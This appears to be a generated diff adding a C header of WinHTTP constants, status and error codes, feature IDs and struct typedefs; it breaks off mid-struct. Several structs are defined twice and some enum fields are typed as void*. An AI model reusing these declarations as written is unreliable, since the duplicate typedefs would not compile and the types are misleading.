+#define WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS 0xffffffff +#define WINHTTP_QUERY_MIME_VERSION 0x0 +#define WINHTTP_QUERY_CONTENT_TYPE 0x1 +#define WINHTTP_QUERY_CONTENT_TRANSFER_ENCODING 0x2 +#define WINHTTP_QUERY_CONTENT_ID 0x3 +#define WINHTTP_QUERY_CONTENT_DESCRIPTION 0x4 +#define WINHTTP_QUERY_CONTENT_LENGTH 0x5 +#define WINHTTP_QUERY_CONTENT_LANGUAGE 0x6 +#define WINHTTP_QUERY_ALLOW 0x7 +#define WINHTTP_QUERY_PUBLIC 0x8 +#define WINHTTP_QUERY_DATE 0x9 +#define WINHTTP_QUERY_EXPIRES 0xa +#define WINHTTP_QUERY_LAST_MODIFIED 0xb +#define WINHTTP_QUERY_MESSAGE_ID 0xc +#define WINHTTP_QUERY_URI 0xd +#define WINHTTP_QUERY_DERIVED_FROM 0xe +#define WINHTTP_QUERY_COST 0xf +#define WINHTTP_QUERY_LINK 0x10 +#define WINHTTP_QUERY_PRAGMA 0x11 +#define WINHTTP_QUERY_VERSION 0x12 +#define WINHTTP_QUERY_STATUS_CODE 0x13 +#define WINHTTP_QUERY_STATUS_TEXT 0x14 +#define WINHTTP_QUERY_RAW_HEADERS 0x15 +#define WINHTTP_QUERY_RAW_HEADERS_CRLF 0x16 +#define WINHTTP_QUERY_CONNECTION 0x17 +#define WINHTTP_QUERY_ACCEPT 0x18 +#define WINHTTP_QUERY_ACCEPT_CHARSET 0x19 +#define WINHTTP_QUERY_ACCEPT_ENCODING 0x1a +#define WINHTTP_QUERY_ACCEPT_LANGUAGE 0x1b +#define WINHTTP_QUERY_AUTHORIZATION 0x1c +#define WINHTTP_QUERY_CONTENT_ENCODING 0x1d +#define WINHTTP_QUERY_FORWARDED 0x1e +#define WINHTTP_QUERY_FROM 0x1f +#define WINHTTP_QUERY_IF_MODIFIED_SINCE 0x20 +#define WINHTTP_QUERY_LOCATION 0x21 +#define WINHTTP_QUERY_ORIG_URI 0x22 +#define WINHTTP_QUERY_REFERER 0x23 +#define WINHTTP_QUERY_RETRY_AFTER 0x24 +#define WINHTTP_QUERY_SERVER 0x25 +#define WINHTTP_QUERY_TITLE 0x26 +#define WINHTTP_QUERY_USER_AGENT 0x27 +#define WINHTTP_QUERY_WWW_AUTHENTICATE 0x28 +#define WINHTTP_QUERY_PROXY_AUTHENTICATE 0x29 +#define WINHTTP_QUERY_ACCEPT_RANGES 0x2a +#define WINHTTP_QUERY_SET_COOKIE 0x2b +#define WINHTTP_QUERY_COOKIE 0x2c +#define WINHTTP_QUERY_REQUEST_METHOD 0x2d +#define WINHTTP_QUERY_REFRESH 0x2e +#define WINHTTP_QUERY_CONTENT_DISPOSITION 0x2f +#define WINHTTP_QUERY_AGE 0x30 +#define WINHTTP_QUERY_CACHE_CONTROL 0x31 +#define WINHTTP_QUERY_CONTENT_BASE 0x32 +#define WINHTTP_QUERY_CONTENT_LOCATION 0x33 +#define WINHTTP_QUERY_CONTENT_MD5 0x34 +#define WINHTTP_QUERY_CONTENT_RANGE 0x35 +#define WINHTTP_QUERY_ETAG 0x36 +#define WINHTTP_QUERY_HOST 0x37 +#define WINHTTP_QUERY_IF_MATCH 0x38 +#define WINHTTP_QUERY_IF_NONE_MATCH 0x39 +#define WINHTTP_QUERY_IF_RANGE 0x3a +#define WINHTTP_QUERY_IF_UNMODIFIED_SINCE 0x3b +#define WINHTTP_QUERY_MAX_FORWARDS 0x3c +#define WINHTTP_QUERY_PROXY_AUTHORIZATION 0x3d +#define WINHTTP_QUERY_RANGE 0x3e +#define WINHTTP_QUERY_TRANSFER_ENCODING 0x3f +#define WINHTTP_QUERY_UPGRADE 0x40 +#define WINHTTP_QUERY_VARY 0x41 +#define WINHTTP_QUERY_VIA 0x42 +#define WINHTTP_QUERY_WARNING 0x43 +#define WINHTTP_QUERY_EXPECT 0x44 +#define WINHTTP_QUERY_PROXY_CONNECTION 0x45 +#define WINHTTP_QUERY_UNLESS_MODIFIED_SINCE 0x46 +#define WINHTTP_QUERY_PROXY_SUPPORT 0x4b +#define WINHTTP_QUERY_AUTHENTICATION_INFO 0x4c +#define WINHTTP_QUERY_PASSPORT_URLS 0x4d +#define WINHTTP_QUERY_PASSPORT_CONFIG 0x4e +#define WINHTTP_QUERY_MAX 0x4e +#define WINHTTP_QUERY_EX_ALL_HEADERS 0x15 +#define WINHTTP_QUERY_CUSTOM 0xffff +#define WINHTTP_QUERY_FLAG_REQUEST_HEADERS 0x80000000 +#define WINHTTP_QUERY_FLAG_SYSTEMTIME 0x40000000 +#define WINHTTP_QUERY_FLAG_NUMBER 0x20000000 +#define WINHTTP_QUERY_FLAG_NUMBER64 0x8000000 +#define WINHTTP_QUERY_FLAG_TRAILERS 0x2000000 +#define WINHTTP_QUERY_FLAG_WIRE_ENCODING 0x1000000 +#define HTTP_STATUS_CONTINUE 0x64 +#define HTTP_STATUS_SWITCH_PROTOCOLS 0x65 +#define HTTP_STATUS_OK 0xc8 +#define HTTP_STATUS_CREATED 0xc9 +#define HTTP_STATUS_ACCEPTED 0xca +#define HTTP_STATUS_PARTIAL 0xcb +#define HTTP_STATUS_NO_CONTENT 0xcc +#define HTTP_STATUS_RESET_CONTENT 0xcd +#define HTTP_STATUS_PARTIAL_CONTENT 0xce +#define HTTP_STATUS_WEBDAV_MULTI_STATUS 0xcf +#define HTTP_STATUS_AMBIGUOUS 0x12c +#define HTTP_STATUS_MOVED 0x12d +#define HTTP_STATUS_REDIRECT 0x12e +#define HTTP_STATUS_REDIRECT_METHOD 0x12f +#define HTTP_STATUS_NOT_MODIFIED 0x130 +#define HTTP_STATUS_USE_PROXY 0x131 +#define HTTP_STATUS_REDIRECT_KEEP_VERB 0x133 +#define HTTP_STATUS_PERMANENT_REDIRECT 0x134 +#define HTTP_STATUS_BAD_REQUEST 0x190 +#define HTTP_STATUS_DENIED 0x191 +#define HTTP_STATUS_PAYMENT_REQ 0x192 +#define HTTP_STATUS_FORBIDDEN 0x193 +#define HTTP_STATUS_NOT_FOUND 0x194 +#define HTTP_STATUS_BAD_METHOD 0x195 +#define HTTP_STATUS_NONE_ACCEPTABLE 0x196 +#define HTTP_STATUS_PROXY_AUTH_REQ 0x197 +#define HTTP_STATUS_REQUEST_TIMEOUT 0x198 +#define HTTP_STATUS_CONFLICT 0x199 +#define HTTP_STATUS_GONE 0x19a +#define HTTP_STATUS_LENGTH_REQUIRED 0x19b +#define HTTP_STATUS_PRECOND_FAILED 0x19c +#define HTTP_STATUS_REQUEST_TOO_LARGE 0x19d +#define HTTP_STATUS_URI_TOO_LONG 0x19e +#define HTTP_STATUS_UNSUPPORTED_MEDIA 0x19f +#define HTTP_STATUS_RETRY_WITH 0x1c1 +#define HTTP_STATUS_SERVER_ERROR 0x1f4 +#define HTTP_STATUS_NOT_SUPPORTED 0x1f5 +#define HTTP_STATUS_BAD_GATEWAY 0x1f6 +#define HTTP_STATUS_SERVICE_UNAVAIL 0x1f7 +#define HTTP_STATUS_GATEWAY_TIMEOUT 0x1f8 +#define HTTP_STATUS_VERSION_NOT_SUP 0x1f9 +#define HTTP_STATUS_FIRST 0x64 +#define HTTP_STATUS_LAST 0x1f9 +#define ICU_NO_ENCODE 0x20000000 +#define ICU_NO_META 0x8000000 +#define ICU_ENCODE_SPACES_ONLY 0x4000000 +#define ICU_BROWSER_MODE 0x2000000 +#define ICU_ENCODE_PERCENT 0x1000 +#define ICU_INCLUDE_DEFAULT_PORT 0x8000 +#define ICU_ESCAPE_AUTHORITY 0x2000 +#define WINHTTP_ADDREQ_INDEX_MASK 0xffff +#define WINHTTP_ADDREQ_FLAGS_MASK 0xffff0000 +#define WINHTTP_ADDREQ_FLAG_ADD_IF_NEW 0x10000000 +#define WINHTTP_ADDREQ_FLAG_ADD 0x20000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA 0x40000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE_WITH_SEMICOLON 0x1000000 +#define WINHTTP_ADDREQ_FLAG_COALESCE 0x40000000 +#define WINHTTP_ADDREQ_FLAG_REPLACE 0x80000000 +#define WINHTTP_EXTENDED_HEADER_FLAG_UNICODE 0x1 +#define WINHTTP_IGNORE_REQUEST_TOTAL_LENGTH 0x0 +#define WINHTTP_ERROR_BASE 0x2ee0 +#define ERROR_WINHTTP_OUT_OF_HANDLES 0x2ee1 +#define ERROR_WINHTTP_TIMEOUT 0x2ee2 +#define ERROR_WINHTTP_INTERNAL_ERROR 0x2ee4 +#define ERROR_WINHTTP_INVALID_URL 0x2ee5 +#define ERROR_WINHTTP_UNRECOGNIZED_SCHEME 0x2ee6 +#define ERROR_WINHTTP_NAME_NOT_RESOLVED 0x2ee7 +#define ERROR_WINHTTP_INVALID_OPTION 0x2ee9 +#define ERROR_WINHTTP_OPTION_NOT_SETTABLE 0x2eeb +#define ERROR_WINHTTP_SHUTDOWN 0x2eec +#define ERROR_WINHTTP_LOGIN_FAILURE 0x2eef +#define ERROR_WINHTTP_OPERATION_CANCELLED 0x2ef1 +#define ERROR_WINHTTP_INCORRECT_HANDLE_TYPE 0x2ef2 +#define ERROR_WINHTTP_INCORRECT_HANDLE_STATE 0x2ef3 +#define ERROR_WINHTTP_CANNOT_CONNECT 0x2efd +#define ERROR_WINHTTP_CONNECTION_ERROR 0x2efe +#define ERROR_WINHTTP_RESEND_REQUEST 0x2f00 +#define ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED 0x2f0c +#define ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN 0x2f44 +#define ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND 0x2f45 +#define ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND 0x2f46 +#define ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN 0x2f47 +#define ERROR_WINHTTP_HEADER_NOT_FOUND 0x2f76 +#define ERROR_WINHTTP_INVALID_SERVER_RESPONSE 0x2f78 +#define ERROR_WINHTTP_INVALID_HEADER 0x2f79 +#define ERROR_WINHTTP_INVALID_QUERY_REQUEST 0x2f7a +#define ERROR_WINHTTP_HEADER_ALREADY_EXISTS 0x2f7b +#define ERROR_WINHTTP_REDIRECT_FAILED 0x2f7c +#define ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR 0x2f92 +#define ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT 0x2f86 +#define ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT 0x2f87 +#define ERROR_WINHTTP_UNHANDLED_SCRIPT_TYPE 0x2f90 +#define ERROR_WINHTTP_SCRIPT_EXECUTION_ERROR 0x2f91 +#define ERROR_WINHTTP_NOT_INITIALIZED 0x2f8c +#define ERROR_WINHTTP_SECURE_FAILURE 0x2f8f +#define ERROR_WINHTTP_SECURE_CERT_DATE_INVALID 0x2f05 +#define ERROR_WINHTTP_SECURE_CERT_CN_INVALID 0x2f06 +#define ERROR_WINHTTP_SECURE_INVALID_CA 0x2f0d +#define ERROR_WINHTTP_SECURE_CERT_REV_FAILED 0x2f19 +#define ERROR_WINHTTP_SECURE_CHANNEL_ERROR 0x2f7d +#define ERROR_WINHTTP_SECURE_INVALID_CERT 0x2f89 +#define ERROR_WINHTTP_SECURE_CERT_REVOKED 0x2f8a +#define ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE 0x2f93 +#define ERROR_WINHTTP_AUTODETECTION_FAILED 0x2f94 +#define ERROR_WINHTTP_HEADER_COUNT_EXCEEDED 0x2f95 +#define ERROR_WINHTTP_HEADER_SIZE_OVERFLOW 0x2f96 +#define ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW 0x2f97 +#define ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW 0x2f98 +#define ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY 0x2f99 +#define ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY 0x2f9a +#define ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED_PROXY 0x2f9b +#define ERROR_WINHTTP_SECURE_FAILURE_PROXY 0x2f9c +#define ERROR_WINHTTP_RESERVED_189 0x2f9d +#define ERROR_WINHTTP_HTTP_PROTOCOL_MISMATCH 0x2f9e +#define ERROR_WINHTTP_GLOBAL_CALLBACK_FAILED 0x2f9f +#define ERROR_WINHTTP_FEATURE_DISABLED 0x2fa0 +#define ERROR_WINHTTP_FAST_FORWARDING_NOT_SUPPORTED 0x2fa1 +#define WINHTTP_ERROR_LAST 0x2fa1 +#define WINHTTP_RESET_STATE 0x1 +#define WINHTTP_RESET_SWPAD_CURRENT_NETWORK 0x2 +#define WINHTTP_RESET_SWPAD_ALL 0x4 +#define WINHTTP_RESET_SCRIPT_CACHE 0x8 +#define WINHTTP_RESET_ALL 0xffff +#define WINHTTP_RESET_NOTIFY_NETWORK_CHANGED 0x10000 +#define WINHTTP_RESET_OUT_OF_PROC 0x20000 +#define WINHTTP_RESET_DISCARD_RESOLVERS 0x40000 +#define WINHTTP_WEB_SOCKET_MAX_CLOSE_REASON_LENGTH 0x7b +#define WINHTTP_WEB_SOCKET_MIN_KEEPALIVE_VALUE 0x3a98 +#define WINHTTP_PROXY_NOTIFY_CHANGE 0x1 +#define WINHTTP_FEATURE_DISABLE_STREAM_QUEUE 0x1 +#define WINHTTP_FEATURE_IPV6_FAST_FALLBACK 0x2 +#define WINHTTP_FEATURE_CONNECTION_STATS_V0 0x3 +#define WINHTTP_FEATURE_REQUEST_TIMES 0x4 +#define WINHTTP_FEATURE_EXPIRE_CONNECTION 0x5 +#define WINHTTP_FEATURE_DISABLE_SECURE_PROTOCOL_FALLBACK 0x6 +#define WINHTTP_FEATURE_HTTP_PROTOCOL_REQUIRED 0x7 +#define WINHTTP_FEATURE_REQUEST_STATS 0x8 +#define WINHTTP_FEATURE_SERVER_CERT_CHAIN_CONTEXT 0x9 +#define WINHTTP_FEATURE_CONNECTION_STATS_V1 0xc +#define WINHTTP_FEATURE_SECURITY_INFO 0xd +#define WINHTTP_FEATURE_TCP_KEEPALIVE 0xe +#define WINHTTP_FEATURE_TCP_FAST_OPEN 0xf +#define WINHTTP_FEATURE_TLS_FALSE_START 0x10 +#define WINHTTP_FEATURE_IGNORE_CERT_REVOCATION_OFFLINE 0x11 +#define WINHTTP_FEATURE_TLS_PROTOCOL_INSECURE_FALLBACK 0x14 +#define WINHTTP_FEATURE_STREAM_ERROR_CODE 0x15 +#define WINHTTP_FEATURE_REQUIRE_STREAM_END 0x16 +#define WINHTTP_FEATURE_ENABLE_HTTP2_PLUS_CLIENT_CERT 0x17 +#define WINHTTP_FEATURE_FAILED_CONNECTION_RETRIES 0x18 +#define WINHTTP_FEATURE_HTTP2_KEEPALIVE 0x1a +#define WINHTTP_FEATURE_RESOLUTION_HOSTNAME 0x1b +#define WINHTTP_FEATURE_SET_TOKEN_BINDING 0x1c +#define WINHTTP_FEATURE_TOKEN_BINDING_PUBLIC_KEY 0x1d +#define WINHTTP_FEATURE_REFERER_TOKEN_BINDING_HOSTNAME 0x1e +#define WINHTTP_FEATURE_HTTP2_PLUS_TRANSFER_ENCODING 0x1f +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG 0x20 +#define WINHTTP_FEATURE_DISABLE_CERT_CHAIN_BUILDING 0x21 +#define WINHTTP_FEATURE_BACKGROUND_CONNECTIONS 0x22 +#define WINHTTP_FEATURE_FIRST_AVAILABLE_CONNECTION 0x23 +#define WINHTTP_FEATURE_TCP_PRIORITY_STATUS 0x25 +#define WINHTTP_FEATURE_CONNECTION_GUID 0x26 +#define WINHTTP_FEATURE_MATCH_CONNECTION_GUID 0x27 +#define WINHTTP_FEATURE_HTTP2_RECEIVE_WINDOW 0x2b +#define WINHTTP_FEATURE_IS_FEATURE_SUPPORTED 0x2c +#define WINHTTP_FEATURE_ADD_REQUEST_HEADERS_EX 0x2e +#define WINHTTP_FEATURE_SET_PROXY_SETINGS_PER_USER 0x2f +#define WINHTTP_FEATURE_READ_DATA_EX 0x30 +#define WINHTTP_FEATURE_QUERY_HEADERS_EX 0x31 +#define WINHTTP_FEATURE_QUERY_CONNECTION_GROUP 0x32 +#define WINHTTP_FEATURE_FREE_QUERY_CONNECTION_GROUP_RESULT 0x33 +#define WINHTTP_FEATURE_SECURITY_FLAG_IGNORE_ALL_CERT_ERRORS 0x34 +#define WINHTTP_FEATURE_FLAG_SECURE_DEFAULTS 0x35 +#define WINHTTP_FEATURE_EXTENDED_HEADER_FLAG_UNICODE 0x36 +#define WINHTTP_FEATURE_QUERY_FLAG_TRAILERS 0x37 +#define WINHTTP_FEATURE_QUERY_FLAG_WIRE_ENCODING 0x38 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_SOFT_LIMIT 0x39 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_BYPASS_CACHE 0x3a +#define WINHTTP_FEATURE_FLAG_AUTOMATIC_CHUNKING 0x3b +#define WINHTTP_FEATURE_QUERY_CONNECTION_GROUP_FLAG_INSECURE 0x3c +#define WINHTTP_FEATURE_MATCH_CONNECTION_GUID_FLAG_REQUIRE_MARKED_CONNECTION 0x3d +#define WINHTTP_FEATURE_QUERY_EX_ALL_HEADERS 0x3e +#define WINHTTP_FEATURE_READ_DATA_EX_FLAG_FILL_BUFFER 0x3f +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_USE_DNS_TTL 0x40 +#define WINHTTP_FEATURE_RESOLVER_CACHE_CONFIG_FLAG_CONN_USE_TTL 0x41 +#define WINHTTP_FEATURE_QUIC_STATS 0x42 +#define WINHTTP_FEATURE_HTTP3_KEEPALIVE 0x45 +#define WINHTTP_FEATURE_HTTP3_HANDSHAKE_TIMEOUT 0x46 +#define WINHTTP_FEATURE_HTTP3_INITIAL_RTT 0x47 +#define WINHTTP_FEATURE_HTTP3_STREAM_ERROR_CODE 0x48 +#define WINHTTP_FEATURE_REQUEST_ANNOTATION 0x49 +#define WINHTTP_FEATURE_DISABLE_PROXY_AUTH_SCHEMES 0x4a +#define WINHTTP_FEATURE_REVERT_IMPERSONATION_SERVER_CERT 0x4b +#define WINHTTP_FEATURE_DISABLE_GLOBAL_POOLING 0x4c +#define WINHTTP_FEATURE_GET_PROXY_SETTINGS_EX 0x4d +#define WINHTTP_FEATURE_SESSION_SCH_CRED 0x4e +#define WINHTTP_FEATURE_QUIC_STATS_V2 0x4f +#define WINHTTP_FEATURE_URL_INCLUDE_DEFAULT_PORT 0x50 +#define WINHTTP_FEATURE_QUIC_STREAM_STATS 0x51 +#define WINHTTP_FEATURE_USE_LOOKASIDE 0x52 +#define WINHTTP_FEATURE_ERROR_LOG_GUID 0x53 +#define WINHTTP_FEATURE_UPGRADE_TO_PROTOCOL 0x58 +#define WINHTTP_FEATURE_CONNECTION_STATS_V2 0x59 +#define WINHTTP_FEATURE_FAST_FORWARD_RESPONSE 0x5a +#define WINHTTP_FEATURE_DISABLE_AIA_FLAG 0x5b +#define WINHTTP_FEATURE_DSCP_TAG 0x5c +#define WINHTTP_FEATURE_HTTP11_DOWNGRADE_TTL 0x5d +#define WINHTTP_FEATURE_SESSION_ERROR_LOG_GUID 0x5e +#define WINHTTP_FEATURE_GET_PROXY_SETTINGS_EX_XBOX 0x5f +#define WINHTTP_WEB_SOCKET_SUCCESS_CLOSE_STATUS 1000 +#define WINHTTP_WEB_SOCKET_ENDPOINT_TERMINATED_CLOSE_STATUS 1001 +#define WINHTTP_WEB_SOCKET_PROTOCOL_ERROR_CLOSE_STATUS 1002 +#define WINHTTP_WEB_SOCKET_INVALID_DATA_TYPE_CLOSE_STATUS 1003 +#define WINHTTP_WEB_SOCKET_EMPTY_CLOSE_STATUS 1005 +#define WINHTTP_WEB_SOCKET_ABORTED_CLOSE_STATUS 1006 +#define WINHTTP_WEB_SOCKET_INVALID_PAYLOAD_CLOSE_STATUS 1007 +#define WINHTTP_WEB_SOCKET_POLICY_VIOLATION_CLOSE_STATUS 1008 +#define WINHTTP_WEB_SOCKET_MESSAGE_TOO_BIG_CLOSE_STATUS 1009 +#define WINHTTP_WEB_SOCKET_UNSUPPORTED_EXTENSIONS_CLOSE_STATUS 1010 +#define WINHTTP_WEB_SOCKET_SERVER_ERROR_CLOSE_STATUS 1011 +#define WINHTTP_WEB_SOCKET_SECURE_HANDSHAKE_ERROR_CLOSE_STATUS 1015 +#define WINHTTP_WEB_SOCKET_BINARY_MESSAGE_BUFFER_TYPE 0 +#define WINHTTP_WEB_SOCKET_BINARY_FRAGMENT_BUFFER_TYPE 1 +#define WINHTTP_WEB_SOCKET_UTF8_MESSAGE_BUFFER_TYPE 2 +#define WINHTTP_WEB_SOCKET_UTF8_FRAGMENT_BUFFER_TYPE 3 +#define WINHTTP_WEB_SOCKET_CLOSE_BUFFER_TYPE 4 +#define AutoLogonPolicy_Always 0 +#define AutoLogonPolicy_OnlyIfBypassProxy 1 +#define AutoLogonPolicy_Never 2 +#define WINHTTP_AUTH_SCHEME_BASIC 0x1 +#define WINHTTP_AUTH_SCHEME_NTLM 0x2 +#define WINHTTP_AUTH_SCHEME_NEGOTIATE 0x10 +#define WINHTTP_INTERNET_SCHEME_HTTP 1 +#define WINHTTP_INTERNET_SCHEME_HTTPS 2 +#define WINHTTP_INTERNET_SCHEME_FTP 3 +#define WINHTTP_INTERNET_SCHEME_SOCKS 4 +#define WINHTTP_PROTOCOL_SEND_OPERATION 0 +#define WINHTTP_PROTOCOL_RECEIVE_OPERATION 1 +#define WinHttpProxySettingsTypeUnknown 0 +#define WinHttpProxySettingsTypeWsl 1 +#define WinHttpProxySettingsTypeWsa 2 +#define WinHttpProxySettingsTypeXBox 3 +#define WinHttpProxyDetectionStart 0 +#define WinHttpProxyDetectionEnd 1 +#define WinHttpConnectionAcquireStart 2 +#define WinHttpConnectionAcquireWaitEnd 3 +#define WinHttpConnectionAcquireEnd 4 +#define WinHttpNameResolutionStart 5 +#define WinHttpNameResolutionEnd 6 +#define WinHttpConnectionEstablishmentStart 7 +#define WinHttpConnectionEstablishmentEnd 8 +#define WinHttpTlsHandshakeClientLeg1Start 9 +#define WinHttpTlsHandshakeClientLeg1End 10 +#define WinHttpTlsHandshakeClientLeg2Start 11 +#define WinHttpTlsHandshakeClientLeg2End 12 +#define WinHttpTlsHandshakeClientLeg3Start 13 +#define WinHttpTlsHandshakeClientLeg3End 14 +#define WinHttpStreamWaitStart 15 +#define WinHttpStreamWaitEnd 16 +#define WinHttpSendRequestStart 17 +#define WinHttpSendRequestHeadersCompressionStart 18 +#define WinHttpSendRequestHeadersCompressionEnd 19 +#define WinHttpSendRequestHeadersEnd 20 +#define WinHttpSendRequestEnd 21 +#define WinHttpReceiveResponseStart 22 +#define WinHttpReceiveResponseHeadersDecompressionStart 23 +#define WinHttpReceiveResponseHeadersDecompressionEnd 24 +#define WinHttpReceiveResponseHeadersEnd 25 +#define WinHttpReceiveResponseBodyDecompressionDelta 26 +#define WinHttpReceiveResponseEnd 27 +#define WinHttpProxyTunnelStart 28 +#define WinHttpProxyTunnelEnd 29 +#define WinHttpProxyTlsHandshakeClientLeg1Start 30 +#define WinHttpProxyTlsHandshakeClientLeg1End 31 +#define WinHttpProxyTlsHandshakeClientLeg2Start 32 +#define WinHttpProxyTlsHandshakeClientLeg2End 33 +#define WinHttpProxyTlsHandshakeClientLeg3Start 34 +#define WinHttpProxyTlsHandshakeClientLeg3End 35 +#define WinHttpRequestTimeLast 36 +#define WinHttpRequestTimeMax 64 +#define WINHTTP_FLAG_BYPASS_PROXY_CACHE 0x100 +#define WINHTTP_FLAG_ESCAPE_DISABLE 0x40 +#define WINHTTP_FLAG_ESCAPE_DISABLE_QUERY 0x80 +#define WINHTTP_FLAG_ESCAPE_PERCENT 0x4 +#define WINHTTP_FLAG_NULL_CODEPAGE 0x8 +#define WINHTTP_FLAG_REFRESH 0x100 +#define WINHTTP_FLAG_SECURE 0x800000 +#define ICU_ESCAPE 0x80000000 +#define ICU_REJECT_USERPWD 0x4000 +#define ICU_DECODE 0x10000000 +#define WINHTTP_ACCESS_TYPE_NO_PROXY 0x1 +#define WINHTTP_ACCESS_TYPE_DEFAULT_PROXY 0x0 +#define WINHTTP_ACCESS_TYPE_NAMED_PROXY 0x3 +#define WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY 0x4 +#define WinHttpSecureDnsSettingDefault 0 +#define WinHttpSecureDnsSettingForcePlaintext 1 +#define WinHttpSecureDnsSettingRequireEncryption 2 +#define WinHttpSecureDnsSettingTryEncryptionWithFallback 3 +#define WinHttpSecureDnsSettingMax 4 +#define SslErrorFlag_UnknownCA 256 +#define SslErrorFlag_CertWrongUsage 512 +#define SslErrorFlag_CertCNInvalid 4096 +#define SslErrorFlag_CertDateInvalid 8192 +#define SslErrorFlag_Ignore_All 13056 +#define SecureProtocol_SSL2 8 +#define SecureProtocol_SSL3 32 +#define SecureProtocol_TLS1 128 +#define SecureProtocol_TLS1_1 512 +#define SecureProtocol_TLS1_2 2048 +#define SecureProtocol_ALL 168 +#define WINHTTP_WEB_SOCKET_SEND_OPERATION 0 +#define WINHTTP_WEB_SOCKET_RECEIVE_OPERATION 1 +#define WINHTTP_WEB_SOCKET_CLOSE_OPERATION 2 +#define WINHTTP_WEB_SOCKET_SHUTDOWN_OPERATION 3 +#define WinHttpConnectFailureCount 0 +#define WinHttpProxyFailureCount 1 +#define WinHttpTlsHandshakeClientLeg1Size 2 +#define WinHttpTlsHandshakeServerLeg1Size 3 +#define WinHttpTlsHandshakeClientLeg2Size 4 +#define WinHttpTlsHandshakeServerLeg2Size 5 +#define WinHttpRequestHeadersSize 6 +#define WinHttpRequestHeadersCompressedSize 7 +#define WinHttpResponseHeadersSize 8 +#define WinHttpResponseHeadersCompressedSize 9 +#define WinHttpResponseBodySize 10 +#define WinHttpResponseBodyCompressedSize 11 +#define WinHttpProxyTlsHandshakeClientLeg1Size 12 +#define WinHttpProxyTlsHandshakeServerLeg1Size 13 +#define WinHttpProxyTlsHandshakeClientLeg2Size 14 +#define WinHttpProxyTlsHandshakeServerLeg2Size 15 +#define WinHttpRequestStatLast 16 +#define WinHttpRequestStatMax 32 +#define WinHttpFastForwardingStateInProgress 0 +#define WinHttpFastForwardingStateSucceeded 1 +#define WinHttpFastForwardingStateClientSideFailed 2 +#define WinHttpFastForwardingStateServerSideFailed 3 +#define WinHttpRequestOption_UserAgentString 0 +#define WinHttpRequestOption_URL 1 +#define WinHttpRequestOption_URLCodePage 2 +#define WinHttpRequestOption_EscapePercentInURL 3 +#define WinHttpRequestOption_SslErrorIgnoreFlags 4 +#define WinHttpRequestOption_SelectCertificate 5 +#define WinHttpRequestOption_EnableRedirects 6 +#define WinHttpRequestOption_UrlEscapeDisable 7 +#define WinHttpRequestOption_UrlEscapeDisableQuery 8 +#define WinHttpRequestOption_SecureProtocols 9 +#define WinHttpRequestOption_EnableTracing 10 +#define WinHttpRequestOption_RevertImpersonationOverSsl 11 +#define WinHttpRequestOption_EnableHttpsToHttpRedirects 12 +#define WinHttpRequestOption_EnablePassportAuthentication 13 +#define WinHttpRequestOption_MaxAutomaticRedirects 14 +#define WinHttpRequestOption_MaxResponseHeaderSize 15 +#define WinHttpRequestOption_MaxResponseDrainSize 16 +#define WinHttpRequestOption_EnableHttp1_1 17 +#define WinHttpRequestOption_EnableCertificateRevocationCheck 18 +#define WinHttpRequestOption_RejectUserpwd 19 + +typedef struct _WINHTTP_REQUEST_STATS { + unsigned long long ullFlags; + unsigned int ulIndex; + unsigned int cStats; + unsigned long long rgullStats[32]; +} WINHTTP_REQUEST_STATS; + +typedef struct _WINHTTP_REQUEST_STATS { + unsigned long long ullFlags; + unsigned int ulIndex; + unsigned int cStats; + unsigned long long rgullStats[32]; +} WINHTTP_REQUEST_STATS; + +typedef struct _URL_COMPONENTS { + unsigned int dwStructSize; + void* lpszScheme; + unsigned int dwSchemeLength; + void* nScheme; + void* lpszHostName; + unsigned int dwHostNameLength; + unsigned short nPort; + void* lpszUserName; + unsigned int dwUserNameLength; + void* lpszPassword; + unsigned int dwPasswordLength; + void* lpszUrlPath; + unsigned int dwUrlPathLength; + void* lpszExtraInfo; + unsigned int dwExtraInfoLength; +} URL_COMPONENTS; + +typedef struct _WINHTTP_CONNECTION_INFO { + unsigned int cbSize; + void* LocalAddress; + void* RemoteAddress; +} WINHTTP_CONNECTION_INFO; + +typedef struct _WINHTTP_CONNECTION_INFO { + unsigned int cbSize; + void* LocalAddress; + void* RemoteAddress; +} WINHTTP_CONNECTION_INFO; + +typedef struct _WINHTTP_MATCH_CONNECTION_GUID { + void* ConnectionGuid; + unsigned long long ullFlags; +} WINHTTP_MATCH_CONNECTION_GUID; + +typedef struct _WINHTTP_MATCH_CONNECTION_GUID { + void* ConnectionGuid; + unsigned long long ullFlags; +} WINHTTP_MATCH_CONNECTION_GUID; + +typedef struct _HTTP_VERSION_INFO { + unsigned int dwMajorVersion; + unsigned int dwMinorVersion; +} HTTP_VERSION_INFO; + +typedef struct _WINHTTP_RESOLVER_CACHE_CONFIG { + unsigned int ulMaxResolverCacheEntries; + unsigned int ulMaxCacheEntryAge; + unsigned int ulMinCacheEntryTtl; + void* SecureDnsSetting; + unsigned long long ullConnResolutionWaitTime; + unsigned long long ullFlags; +} WINHTTP_RESOLVER_CACHE_CONFIG; + +typedef struct _WINHTTP_RESOLVER_CACHE_CONFIG { + unsigned int ulMaxResolverCacheEntries; + unsigned int ulMaxCacheEntryAge; + unsigned int ulMinCacheEntryTtl; + void* SecureDnsSetting; + unsigned long long ullConnResolutionWaitTime; + unsigned long long ullFlags; +} 